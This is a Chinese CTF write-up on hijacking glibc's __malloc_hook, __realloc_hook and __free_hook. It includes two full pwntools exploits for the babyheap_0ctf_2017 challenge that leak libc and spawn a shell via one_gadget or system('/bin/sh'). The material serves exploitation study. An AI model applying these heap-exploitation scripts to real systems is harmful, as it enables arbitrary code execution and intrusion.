在glibc中,通过指定hook函数,可以修改malloc()、readloc()、free()等函数的行为,从而帮助我们调试使用动态分配内存的程序。我们可以利用这一个特性通过篡改hook的值,使程序在调用动态分配内存相关函数前改变程序流,执行我们想执行的代码。
__malloc_hook
__malloc_hook 是一个弱类型的函数指针,指向 void *function(size_t size ,void *caller ),在调用malloc()函数是会判断__malloc_hook的值是否为空,不为空则调用它.因此我们可以利用恶意漏洞来覆盖__malloc_hook 的值.
在之前fastbin二次释放——学pwn小记(5)中,解例题babyheap_0ctf_2017时用的就是__malloc_hook来调用one_gadget.具体exp可以看前面链接中的文章这里不多说.

__realloc_hook
__realloc_hook与__malloc_hook 相似是一个弱类型的指针.在调用realloc()函数是会判断__realloc_hook的值是否为空,不为空则执行其执行的代码.这是__realloc_hook的一种用法。
同时,我们也可以用__malloc_hook来指向_libc_realloc()函数内部(即强行调用realloc())然后通过__realloc_hook来触发one_gadget.
下面还是以babyheap_0ctf_2017仔细来说下。
__realloc_hook只在__malloc_hook的前8个字节(64位程序)所以很容易覆盖掉。

因此我们只需将__malloc_hook的值改成__libc_realloc中某一个gatget的值。
将__malloc_hook前的8个字节,即__realloc_hook改成one_gatget的值。
同时因为__libc_realloc有大量push与pop的gatget,我们可以同过它来寻找调节寄存器和堆栈使它能满足one_gatget的条件。


exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
   | from pwn import *
  e=ELF('./babyheap') p=process('./babyheap')
 
 
 
  def alloc(size): 	p.sendline('1') 	p.sendline(str(size))
  def fill(num,text): 	p.sendline('2') 	p.sendline(str(num)) 	p.sendline(str(len(text))) 	p.sendline(str(text))
  def free(num): 	p.sendline('3') 	p.sendline(str(num))
  def dump(num): 	 	p.sendline('4') 	p.sendline(str(num)) 	x=p.recvuntil('Content: \n') 	 	return p.recv()
 
 
 
  def fast():         	alloc(0x10)  	alloc(0x10)  	alloc(0x10)  	alloc(0x10)  	alloc(0x80)           	free(1) 	free(2) 	 	pay=0x10*'a' 	pay+=p64(0)+p64(0x21) 	pay+=p64(0x88)+p64(0x88)         pay+=p64(0)+p64(0x21)          pay+=p8(0x80) 	fill('0',pay) 	 	pay='a'*0x10 	pay+=p64(0)+p64(0x21) 	fill('3',pay)
  	alloc(0x10)  	alloc(0x10)  	fill(1,'aaaa') 	fill(2,'bbbb') 	 	
  	
  def leak(): 	global base,malloc_hook 	pay=p64(0)*3+p64(0x91) 	fill('3',pay) 	alloc(0x80)  	free(4) 	 	addr=u64(dump(2)[:8]) 	print(addr) 	base=addr-0x3c4b78 	malloc_hook=base+0x3c4b10 	log.info("libc_base: "+hex(base)) 	log.info("malloc_hook:"+hex(malloc_hook))	  	 def pwn(): 	alloc(0x60)  	free(4) 	fill('2',p64(malloc_hook-0x30+0xd)) 	 	alloc(0x60) 	 	alloc(0x60)  	one=base+0xf1207 	realloc_hook=0x84710+base 	fill('6',p8(0)*3+p64(0)+p64(one)+p64(realloc_hook)) 	 	alloc(0x60)
  fast() leak() pwn() p.interactive()
   | 
 
__free_hook
__free_hook的利用有所不同,应为附近一大片都没有可以利用的字节。但是如果可以攻击main_arena,篡改top到__free_hook之前,可以通过分配chunk来覆盖劫持__free_hook。以babyheap_0ctf_2017题目来分析:
同过gdb,我们可以看到,main_arena与__malloc_hook是非常接近的。

接着就是top地址的问题。top地址指向的是top chunk 的地址。

我们可以看到现在top chunk 大小为0x20e61。

而通过在遍历__free_hook附近大于0x20e61的字节就只有__free_hook-0xb58处

所以我们覆盖top地址到__free_hook-0xb58处,然后创造chunk使最后一个能覆盖到free_hook,并将free_hook写入system的值.再在一个chunk里写入bin/sh,再free ta。


exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103
   | from pwn import *
  e=ELF('./babyheap') p=process('./babyheap')
 
 
 
  def alloc(size): 	p.sendline('1') 	p.sendline(str(size))
  def fill(num,text): 	p.sendline('2') 	p.sendline(str(num)) 	p.sendline(str(len(text))) 	p.sendline(str(text))
  def free(num): 	p.sendline('3') 	p.sendline(str(num))
  def dump(num): 	 	p.sendline('4') 	p.sendline(str(num)) 	x=p.recvuntil('Content: \n') 	 	return p.recv()
 
 
 
  def fast():         	alloc(0x10)  	alloc(0x10)  	alloc(0x10)  	alloc(0x10)  	alloc(0x80)           	free(1) 	free(2) 	 	pay=0x10*'a' 	pay+=p64(0)+p64(0x21) 	pay+=p64(0x88)+p64(0x88)         pay+=p64(0)+p64(0x21)          pay+=p8(0x80) 	fill('0',pay) 	 	pay='a'*0x10 	pay+=p64(0)+p64(0x21) 	fill('3',pay)
  	alloc(0x10)  	alloc(0x10)  	fill(1,'aaaa') 	fill(2,'bbbb') 	 	
  	
  def leak(): 	global base,malloc_hook 	pay=p64(0)*3+p64(0x91) 	fill('3',pay) 	alloc(0x80)  	free(4) 	 	addr=u64(dump(2)[:8]) 	print(addr) 	base=addr-0x3c4b78 	malloc_hook=base+0x3c4b10 	log.info("libc_base: "+hex(base)) 	log.info("malloc_hook:"+hex(malloc_hook))	  	 def pwn(): 	system=base+0x453a0 	free_hook=base+0x3c67a8 	log.info("system: "+hex(system)) 	log.info("free_hook:"+hex(free_hook)) 	alloc(0x60)  	free(4) 	fill('2',p64(malloc_hook-0x30+0xd)) 	gdb.attach(p) 	alloc(0x60) 	 	alloc(0x60)  	one=base+0xf1207 	fill('6',p8(0)*3+p64(0)*15+p64(free_hook-0xb58)) 	 	alloc(0xb30) 	fill('7','/bin/sh') 	alloc(0x60) 	fill('8',p64(0)+p64(system)) 	 	free(7) fast() leak() pwn() p.interactive()
   | 
 
后记
这算是弥补了,上篇文章的遗憾吧。了解另一种通过__realloc_hook利用one_gatget方式。更重要的是利用__free_hook来写shell来调用。
参考文献
https://blog.csdn.net/hoi0714/article/details/7909488
https://bbs.pediy.com/thread-246786.htm#msg_header_h2_3